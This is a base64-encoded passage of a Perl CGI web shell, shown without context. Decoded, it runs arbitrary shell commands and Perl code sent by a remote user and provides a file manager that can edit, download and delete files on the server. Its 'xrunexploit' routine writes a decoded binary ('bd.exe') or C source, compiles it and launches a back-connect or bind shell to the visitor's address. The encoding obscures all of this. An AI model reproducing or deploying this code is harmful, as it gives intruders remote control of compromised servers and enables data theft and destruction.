MS87DQoJCQlAcGFpcnMgPSBzcGxpdCgvLS0kYm91bmRhcnkvLCAkcXVlcnkpOw0KCQkJQHBhaXJzID0gc3BsaWNlKEBwYWlycywxLCQjcGFpcnMtMSk7DQoJCQlmb3IgJHBhcnQgKEBwYWlycykNCgkJCXsNCgkJCQkoJGR1bXAsJGZsaW5lLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHBhcnQsMyk7DQoJCQkJbmV4dCBpZiAkZmxpbmUgPX4gL2ZpbGVuYW1lPVwiXCIvOw0KCQkJCSRmbGluZSA9fiBzL15Db250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IC8vOw0KCQkJCShAY29sdW1ucykgPSBzcGxpdCgvO1xzKy8sICRmbGluZSk7DQoJCQkJKCRuYW1lID0gJGNvbHVtbnNbMF0pID1+IHMvXm5hbWU9IihbXiJdKykiJC9cMS9nOw0KCQkJCWlmKCRwYXJ0ID1+IC9maWxlbmFtZT1cIihbXiJdKilcIi8pew0KCQkJCQkkZm9ybWxpc3R7J3VwbG9hZG5hbWUnfSA9ICQxOw0KCQkJCX0NCgkJCQlpZiAoJCNjb2x1bW5zID4gMCkNCgkJCQl7DQoJCQkJCWlmICgkdmFsdWUgPX4gL15Db250ZW50LVR5cGU6LykNCgkJCQkJew0KCQkJCQkJKCRkdW1wLCRkdW1wLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHZhbHVlLDMpOw0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJew0KCQkJCQkJKCRkdW1wLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHZhbHVlLDIpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSgkZHVtcCwkdmFsdWUpID0gc3BsaXQoL1xyXG4vLCR2YWx1ZSwyKTsNCgkJCQkJaWYgKGdyZXAoL14kbmFtZSQvLCBrZXlzKCVDR0kpKSkNCgkJCQkJew0KCQkJCQkJaWYgKEB7JGZvcm1saXN0eyRuYW1lfX0gPiAwKQ0KCQkJCQkJew0KCQkJCQkJCXB1c2goQHskZm9ybWxpc3R7JG5hbWV9fSwgJHZhbHVlKTsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQkkYXJydmFsdWUgPSAkZm9ybWxpc3R7JG5hbWV9Ow0KCQkJCQkJCXVuZGVmICRmb3JtbGlzdHskbmFtZX07DQoJCQkJCQkJJGZvcm1saXN0eyRuYW1lfVswXSA9ICRhcnJ2YWx1ZTsNCgkJCQkJCQlwdXNoKEB7JGZvcm1saXN0eyRuYW1lfX0sICR2YWx1ZSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQluZXh0IGlmICR2YWx1ZSA9fiAvXlxzKiQvOw0KCQkJCQkJJGZvcm1saXN0eyRuYW1lfSA9ICR2YWx1ZTsNCgkJCQkJfQ0KCQkJCQluZXh0Ow0KCQkJCX0NCgkJCQkkZm9ybWxpc3R7JG5hbWV9ID0gJHZhbHVlOw0KCQkJfQ0KCQl9DQoJfQ0KCW15ICRxdWVyeSA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCWlmICgkcXVlcnkgPX4gL1x3Ky8pew0KCQlAYXNzaWduID0gc3BsaXQoJyYnLCRxdWVyeSk7DQoJCWZvcmVhY2ggKEBhc3NpZ24pIHsNCgkJCW15ICgkbmFtZSwkdmFsdWUpID0gc3BsaXQgLz0vOw0KCQkJJHZhbHVlID1+IHRyLysvIC87DQoJCQkkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCgkJCSMkdmFsdWUgPSB1cmxkZWNvZGUoJHZhbHVlKTsNCgkJCSNwcmludCAkbmFtZS4iPSIuJHZhbHVlLiI8YnIgLz4iOw0KCQkJJGZvcm1saXN0eyRuYW1lfSA9ICR2YWx1ZTsNCgkJfQ0KCX0NCglmb3JlYWNoICR2YXIgKHNvcnQoa2V5cyglZm9ybWxpc3QpKSkgew0KCQkkdmFsID0gJGZvcm1saXN0eyR2YXJ9Ow0KCQkkdmFsID1+IHN8XG58XFxufGc7DQoJCSR2YWwgPX4gc3wifFxcInxnOw0KCX0NCglyZXR1cm4gJWZvcm1saXN0Ow0KfQ0Kc3ViIGluaXRfY29va2llKCl7DQoJbXkgJWNvb2tpZTsNCglpZihkZWZpbmVkKCRFTlZ7J0hUVFBfQ09PS0lFJ30pKXsNCgkJJHJhd2Nvb2tpZSA9ICRFTlZ7J0hUVFBfQ09PS0lFJ307DQoJCUByYXdjb29raWVzID0gc3BsaXQgLzsvLCAkcmF3Y29va2llOw0KCQlmb3JlYWNoIChAcmF3Y29va2llcyl7DQoJCQlteSAoJG5hbWUsJHZhbHVlKSA9IHNwbGl0IC89LzsNCgkJCSRjb29raWV7JG5hbWV9ID0gJHZhbHVlOw0KCQl9DQoJfQ0KCXJldHVybiAlY29va2llOw0KfQ0Kc3ViIHRyaW0oJCl7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiB4ZmlsZXN1bW1hcnkoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkYnVmZiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJJGJ1ZmYgPSAiRmlsZXNpemUgOiAiLiZ4cGFyc2VmaWxlc2l6ZSgmeGZpbGVzaXplKCRmaWxlKSkuIiAoICIuJnhmaWxlc2l6ZSgkZmlsZSkuIiApIDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiA6OiA8L3NwYW4+UGVybWlzc2lvbiA6ICIuJnhmaWxlcGVybXMoJGZpbGUpLiIgKCAiLiZ4ZmlsZW93bmVyKCRmaWxlKS4iICk8c3BhbiBjbGFzcz1cImdhdWxcIj4gOjogPC9zcGFuPm1vZGlmaWVkIDogIi4meGZpbGVsYXN0bW9kaWZpZWQoJGZpbGUpOw0KCX0NCglyZXR1cm4gJGJ1ZmY7DQp9DQpzdWIgeHBhcnNlZmlsZXNpemUoJCl7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KSB7DQoJCXJldHVybiAkc2l6ZTsNCgl9DQoJZWxzZXsNCgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSB7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIga2IiOw0KCQl9DQoJCWVsc2Ugew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIG1iIjsNCgkJfQ0KCX0NCn0NCnN1YiB4ZmlsZXNpemUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIHhmaWxlb3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCg0KCW15ICRjb250ZW50ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkY29udGVudCAuPSAkZGF0YTsNCgkJCX0NCgkJCWNsb3NlKEZJTEUpOw0KCQl9DQoJfQ0KCXJldHVybiAkY29udGVudDsNCn0NCnN1YiB4ZmlsZXNhdmUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkY29udGVudCA9IHNoaWZ0Ow0KCWlmKG9wZW4oRklMRSwiPiIuJGZpbGUpKXsNCgkJYmlubW9kZSBGSUxFOw0KCQlwcmludCBGSUxFICRjb250ZW50Ow0KCQljbG9zZShGSUxFKTsNCgkJcmV0dXJuIDE7DQoJfQ0KCWVsc2UgeyByZXR1cm4gMCB9Ow0KfQ0Kc3ViIHRyaW1zbGFzaGVzKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCglpZigmaXNfd2luKCkpew0KCQkkc3RyID1+IHMvXFwkLy87DQoJfQ0KCWVsc2V7DQoJCSRzdHIgPX4gcy9cLyQvLzsNCgl9DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgeGZpbGVvd25lcigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKXsNCgkJaWYoLWQgJGZpbGUpew0KCQkJJGZpbGUgPSB0cmltc2xhc2hlcygkZmlsZSk7DQoJCX0NCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCZpc193aW4oKSl7DQoJCQlyZXR1cm4gIj8/PyI7DQoJCX0NCgkJZWxzZXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiI6Ii4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIHhmaWxlbGFzdG1vZGlmaWVkKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpew0KCQlpZigtZCAkZmlsZSl7DQoJCQkkZmlsZSA9IHRyaW1zbGFzaGVzKCRmaWxlKTsNCgkJfQ0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy9KYW4gRmViIE1hciBBcHIgTWF5IEp1biBKdWwgQXVnIFNlcCBPY3QgTm92IERlYy87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLSVzLSU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIHhmaWxlcGVybXMoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkaXNyZWFkYWJsZSA9ICItIjsNCgkkaXN3cml0ZWFibGUgPSAiLSI7DQoJaWYoLWUgJGZpbGUpew0KCQlpZigtciAkZmlsZSl7ICRpc3JlYWRhYmxlID0gInIiOyB9DQoJCWlmKC13ICRmaWxlKXsgJGlzd3JpdGVhYmxlID0gInciOyB9DQoJfQ0KCXJldHVybiAkaXNyZWFkYWJsZSAuICIgLyAiIC4gJGlzd3JpdGVhYmxlOw0KfQ0Kc3ViIHhybWRpcigkKSB7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKXsNCgkJCQlpZigtZCAkZmlsZSl7DQoJCQkJCSZ4cm1kaXIoJGRpci4iXFwiLiRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZXsNCgkJCQkJdW5saW5rKCRkaXIuIlxcIi4kZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCXJtZGlyKCRkaXIpOw0KfQ0Kc3ViIHhjbGVhbnBhdGgoJCl7DQoJbXkgJHBhdGggPSBzaGlmdDsNCgkkcGF0aCA9ICZ1cmxkZWNvZGUoJnRyaW0oJHBhdGgpKTsNCglpZigmaXNfd2luKCkpew0KCQkkcGF0aCA9fiB0ci9cLy9cXC87DQoJfQ0KDQoJJHhTbGFzaCA9ICZESVJFQ1RPUllfU0VQQVJBVE9SKCk7DQoNCglpZigtZiAkcGF0aCl7DQoJCSRwYXRoID0gc3Vic3RyKCRwYXRoLDAscmluZGV4KCRwYXRoLCR4U2xhc2gpKTsNCgl9DQoJd2hpbGUoc3Vic3RyKCRwYXRoLC0xLDEpIGVxICR4U2xhc2gpew0KCQkkcGF0aCA9IHN1YnN0cigkcGF0aCwwLC0xKTsNCgl9DQoJcmV0dXJuICRwYXRoLiR4U2xhc2g7DQp9DQpzdWIgZGlybmFtZSgkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCSR4U2xhc2ggPSAmRElSRUNUT1JZX1NFUEFSQVRPUigpOw0KCWlmKC1mICRmaWxlKXsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQoJZWxzaWYoLWQgJGZpbGUpew0KCQkkZmlsZSA9ICZ4Y2xlYW5wYXRoKCRmaWxlKTsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQp9DQpzdWIgYmFzZW5hbWUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkeFNsYXNoID0gJkRJUkVDVE9SWV9TRVBBUkFUT1IoKTsNCglpZigtZiAkZmlsZSl7DQoJCXJldHVybiBzdWJzdHIoJGZpbGUscmluZGV4KCRmaWxlLCR4U2xhc2gpICsgMSk7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAkeFNsYXNoOw0KCX0NCn0NCnN1YiBpc193aW4oKXsNCgkkb3MgPSAkeFN5c3RlbTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQpzdWIgRElSRUNUT1JZX1NFUEFSQVRPUigpew0KCWlmKCZpc193aW4oKSl7DQoJCXJldHVybiAiXFwiOw0KCX0NCgllbHNlIHsNCgkJcmV0dXJuICJcLyI7DQoJfQ0KfQ0Kc3ViIHhkcml2ZSgpew0KCSRsZXR0ZXJzID0gIiI7DQoJQHJhbmdlID0gKEEuLlopOw0KCWZvcmVhY2ggJGxldHRlciAoQHJhbmdlKXsNCgkJJGNoZWNrID0gJGxldHRlci4iOlxcIjsNCgkJJGJvb2wgPSAoLWUgJGNoZWNrKTsNCgkJaWYgKCRib29sKSB7DQoJCQkkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj9kaXI9Ii4kY2hlY2suIlwiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiI7DQoJCQkkbGV0dGVycyAuPSAkbGV0dGVyOw0KCQkJJGxldHRlcnMgLj0gIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPC9hPiAiOw0KCQl9DQoJfQ0KCWlmKCRsZXR0ZXJzIG5lICIiKXsNCgkJJGxldHRlcnMgLj0gIjxiciAvPiI7DQoJfQ0KCXJldHVybiAkbGV0dGVyczsNCn0NCnN1YiB1cmxlbmNvZGUoJCl7DQoJbXkgJHN0ciA9IHNoaWZ0Ow0KCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgdXJsZGVjb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvXCUoW0EtRmEtZjAtOV17Mn0pL3BhY2soJ0MnLCBoZXgoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgeHBhcnNlZGlyKCQpew0KCW15ICRkaXIgPSBzaGlmdDsNCgkkeFNsYXNoID0gJkRJUkVDVE9SWV9TRVBBUkFUT1IoKTsNCglpZigmaXNfd2luKCkpew0KCQlAZGlycyA9IHNwbGl0IC9cXC8sJGRpcjsNCgl9DQoJZWxzZSB7DQoJCUBkaXJzID0gc3BsaXQgL1wvLywkZGlyOw0KCX0NCgkkYnVmZiA9ICIiOw0KCSRkbGluayA9ICIiOw0KCWlmKCEmaXNfd2luKCkpIHsNCgkJJGRsaW5rIC49ICZ1cmxlbmNvZGUoJHhTbGFzaCk7DQoJCSRidWZmIC49ICI8YSBocmVmPVwiP2Rpcj0iLiRkbGluay4iXCI+Ii4keFNsYXNoLiI8L2E+Jm5ic3A7IjsNCgl9DQoJZm9yZWFjaCAkZCAoQGRpcnMpew0KCQkkZCA9ICZ0cmltKCRkKTsNCgkJaWYoJGQgbmUgIiIpew0KCQkJJGRsaW5rIC49ICZ1cmxlbmNvZGUoJGQuJHhTbGFzaCk7DQoJCQkkYnVmZiAuPSAiPGEgaHJlZj1cIj9kaXI9Ii4kZGxpbmsuIlwiPiIuJGQuIiAiLiR4U2xhc2guIjwvYT4mbmJzcDsiOw0KCQl9DQoJfQ0KCXJldHVybiAiPHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4kYnVmZi4iPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+IjsNCn0NCnN1YiB4cGFyZW50Zm9sZGVyKCQpew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJJHhTbGFzaCA9ICZESVJFQ1RPUllfU0VQQVJBVE9SKCk7DQoJJHBhdGggPSAmeGNsZWFucGF0aCgkcGF0aCk7DQoJJHBhdGgxID0gc3Vic3RyKCRwYXRoLDAscmluZGV4KCRwYXRoLCR4U2xhc2gpKTsNCgkkcGF0aDIgPSBzdWJzdHIoJHBhdGgxLDAscmluZGV4KCRwYXRoMSwkeFNsYXNoKSk7DQoJaWYoKC1kICRwYXRoMikgfHwgKHJpbmRleCgkcGF0aDEsJHhTbGFzaCkgPT0gMCkpew0KCQlyZXR1cm4gJHBhdGgyLiR4U2xhc2g7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAkcGF0aDEuJHhTbGFzaDsNCgl9DQp9DQpzdWIgZWtzZSgkKXsNCglteSAkY21kID0gc2hpZnQ7DQoJcmV0dXJuIGAkY21kYDsNCn0NCnN1YiB4ZXZhbCgkKXsNCglteSAkY29kZSA9IHNoaWZ0Ow0KCSRjb2QgPSAkY29kZTsNCgkkY29kZSA9fiBzL1wiL1xcXCIvZzsNCglteSAkd2hpY2hwZXJsID0gJnRyaW0oJmVrc2UoIndoaWNoIHBlcmwiKSk7DQoJaWYoJHdoaWNocGVybCBlcSAiIil7DQoJCSRjb24gPSAmeGZpbGVvcGVuKCRFTlZ7J1NDUklQVF9GSUxFTkFNRSd9LDEpOw0KCQlpZigkY29uID1+IC9eIyEoLiopLyl7DQoJCQkkd2hpY2hwZXJsID0gJnRyaW0oJDEpOw0KCQl9DQoJfQ0KCSRyZXN1bHQgPSAiIjsNCglpZigkd2hpY2hwZXJsIG5lICIiKXsNCgkJJHJlc3VsdCA9ICZla3NlKCR3aGljaHBlcmwuIiAtZSBcIiIuJGNvZGUuIlwiIik7DQoJfQ0KCWlmKCRyZXN1bHQgbmUgIiIpew0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQoJZWxzZXsNCgkJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJCWV2YWwoJGNvZCk7DQoJCWV4aXQoMSk7DQoJfQ0KfQ0Kc3ViIHhkaXIoJCl7DQoJbXkgJHBhdGggPSBzaGlmdDsNCgkkcGF0aCA9ICZ0cmltKCZ4Y2xlYW5wYXRoKCRwYXRoKSk7DQoJaWYoLWQgJHBhdGgpew0KCQlAZm5hbWUgPSAoKTsNCgkJQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSl7DQoJCQkJaWYoLWQgJGZpbGUpew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2V7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkYnVmZiA9ICI8ZGl2IGlkPVwiZXhwbG9yZXJcIj48dGFibGUgY2xhc3M9XCJ0YmxFeHBsb3JlclwiPg0KCQk8dHI+PHRoPkZpbGVuYW1lPC90aD4NCgkJPHRoIHN0eWxlPVwid2lkdGg6ODBweDtcIj5GaWxlc2l6ZTwvdGg+DQoJCTx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT1cIndpZHRoOjE1MHB4O1wiPkxhc3QgTW9kaWZpZWQ8L3RoPg0KCQk8dGggc3R5bGU9XCJ3aWR0aDoxODBweDtcIj5BY3Rpb248L3RoPjwvdHI+IjsNCgkJZm9yZWFjaCAkZCAoQGRuYW1lKXsNCgkJCW15ICRkID0gJnRyaW0oJGQpOw0KCQkJJHNkID0gJGQ7DQoJCQlpZigkZCBlcSAiLi4iKSB7DQoJCQkJJG5leHRkaXIgPSAmeHBhcmVudGZvbGRlcigmeHBhcmVudGZvbGRlcigkcGF0aCkpOw0KCQkJCSRkID0gJnhjbGVhbnBhdGgoJnhwYXJlbnRmb2xkZXIoJHBhdGgpKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgew0KCQkJCSRuZXh0ZGlyID0gJnhwYXJlbnRmb2xkZXIoJHBhdGgpOw0KCQkJCSRkID0gJnhjbGVhbnBhdGgoJHBhdGgpOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJG5leHRkaXIgPSAkcGF0aDsNCgkJCQkkZCA9ICRwYXRoLiRzZDsNCgkJCX0NCgkJCSRkaXIgPSAkZDsNCgkJCSRidWZmIC49ICI8dHIgb25tb3VzZW92ZXI9XCJ0aGlzLnN0eWxlLmN1cnNvcj0ncG9pbnRlcic7dGhpcy5zdHlsZS5jdXJzb3I9J2hhbmQnO1wiIG9uY2xpY2s9XCJ3aW5kb3cubG9jYXRpb249ICc/ZGlyPSIuJnVybGVuY29kZSgkZCkuIic7XCI+DQoJCQk8dGQ+PHNwYW4gc3R5bGU9XCJmb250LXdlaWdodDpib2xkO1wiPjxhIGhyZWY9XCI/ZGlyPSIuJGRpci4iXCI+Wzwvc3Bhbj4gIi4kc2QuIiA8c3BhbiBzdHlsZT1cImZvbnQtd2VpZ2h0OmJvbGQ7XCI+XTwvc3Bhbj48L2E+PC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkYnVmZiAuPSAiPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4meGZpbGVwZXJtcygkc2QpLiI8L3RkPiI7DQoJCQkkYnVmZiAuPSAiPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4meGZpbGVsYXN0bW9kaWZpZWQoJHNkKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPjxhIGhyZWY9XCI/ZGlyPSIuJGRpci4iJnByb3BlcnRpZXM9Ii4kZC4iXCI+UHJvcGVydGllczwvYT4gfCA8YSBocmVmPVwiP2Rpcj0iLiRuZXh0ZGlyLiImZGVsPSIuJGQuIlwiPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkYnVmZiAuPSAiPC90cj4iOw0KCQl9DQoJCWZvcmVhY2ggJGYgKEBmbmFtZSl7DQoJCQkkc2YgPSAkZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJnVybGVuY29kZSgkcGF0aCkuIiZ2aWV3PSIuJnVybGVuY29kZSgkZik7DQoJCQkkYnVmZiAuPSAiPHRyIG9ubW91c2VvdmVyPVwidGhpcy5zdHlsZS5jdXJzb3I9J3BvaW50ZXInO3RoaXMuc3R5bGUuY3Vyc29yPSdoYW5kJztcIiBvbmNsaWNrPVwid2luZG93LmxvY2F0aW9uPSc/ZGlyPSIuJnVybGVuY29kZSgmeGNsZWFucGF0aCgkcGF0aCkpLiImcHJvcGVydGllcz0iLiZ1cmxlbmNvZGUoJGYpLiInO1wiPjx0ZD4NCgkJCTxhIGhyZWY9XCI/ZGlyPSIuJnVybGVuY29kZSgmeGNsZWFucGF0aCgkcGF0aCkpLiImcHJvcGVydGllcz0iLiZ1cmxlbmNvZGUoJGYpLiJcIj4NCgkJCSIuJHNmLiI8L2E+PC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZD4iLiZ4cGFyc2VmaWxlc2l6ZSgmeGZpbGVzaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRidWZmIC49ICI8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiZ4ZmlsZXBlcm1zKCRmKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJnhmaWxlbGFzdG1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPjxhIGhyZWY9XCIiLiR2aWV3LiJcIj5FZGl0PC9hPiB8IDxhIGhyZWY9XCI/Z2V0PSIuJGYuIlwiPkRvd25sb2FkPC9hPiB8IDxhIGhyZWY9XCI/ZGlyPSIuJnhjbGVhbnBhdGgoJHBhdGgpLiImZGVsPSIuJGYuIlwiPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkYnVmZiAuPSAiPC90cj4iOw0KCQl9DQoJCSRidWZmIC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJCXJldHVybiAkYnVmZjsNCgl9DQp9DQpzdWIgeHJ1bmV4cGxvaXQoJCl7DQoJbXkgJGZwYXRoID0gc2hpZnQ7DQoJbXkgJGJhc2U2NCA9IHNoaWZ0Ow0KCW15ICRwb3J0ID0gc2hpZnQ7DQoJbXkgJHR5cGUgPSBzaGlmdDsNCgkkY29uID0gJmI2NGRlY29kZSgkYmFzZTY0KTsNCgkkZmluYWwgPSAiIjsNCglpZigmaXNfd2luKCkpew0KCQkkZm5hbWUgPSAiYmQuZXhlIjsNCgkJJGlwID0gIiI7DQoJCSRmcGF0aCA9ICRmcGF0aC4kZm5hbWU7DQoJCWlmKC1mICRmcGF0aCl7DQoJCQl1bmxpbmsoJGZwYXRoKTsNCgkJfQ0KCQlpZigmeGZpbGVzYXZlKCRmcGF0aCwkY29uKSl7DQoJCQkkZnBhdGggPSAmdHJpbSgkZnBhdGgpOw0KCQkJaWYoJHR5cGUgZXEgJ2Nvbm5lY3QnKXsgICRpcCA9ICRFTlZ7J1JFTU9URV9BRERSJ307IH0NCgkJCSRmaW5hbCAuPSAkZnBhdGguIiAiLiRwb3J0LiIgIi4kaXA7DQoJCQkmZWtzZSgmdHJpbSgkZmluYWwpKTsNCgkJCXJldHVybiAxOw0KCQl9DQoJfQ0KCWVsc2Ugew0KCQlpZigkdHlwZSBlcSAnY29ubmVjdCcpewkkZm5hbWUgPSAiYmFjayI7IH0NCgkJZWxzZSB7ICRmbmFtZSA9ICJiaW5kIjsgfQ0KCQkkaXAgPSAiIjsNCgkJJGZwYXRoID0gJGZwYXRoLiRmbmFtZTsNCgkJaWYoLWYgJGZwYXRoLiIuYyIpew0KCQkJdW5saW5rKCRmcGF0aC4iLmMiKTsNCgkJfQ0KCQlpZigmeGZpbGVzYXZlKCRmcGF0aC4iLmMiLCRjb24pKXsNCgkJCSRmcGF0aCA9ICZ0cmltKCRmcGF0aCk7DQoJCQlpZigkdHlwZSBlcSAnY29ubmVjdCcpeyAgJGlwID0gJEVOVnsnUkVNT1RFX0FERFInfTsgfQ0KCQkJJmVrc2UoImdjYyAiLiRmcGF0aC4iLmMgLW8gIi4kZnBhdGgpOw0KCQkJJmVrc2UoImNobW9kICt4ICIuJGZwYXRoKTsNCgkJCWlmKC1lICRmcGF0aCl7DQoJCQkJJGZpbmFsIC49ICRmcGF0aC4iICIuJHBvcnQuIiAiLiRpcDsNCgkJCQkmZWtzZSgmdHJpbSgkZmluYWwpKTsNCgkJCQlyZXR1cm4gMTsNCgkJCX0NCgkJfQ0KCX0NCglyZXR1cm4gMDsNCn0NCnN1YiBodG1sc3BlY2lhbGNoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0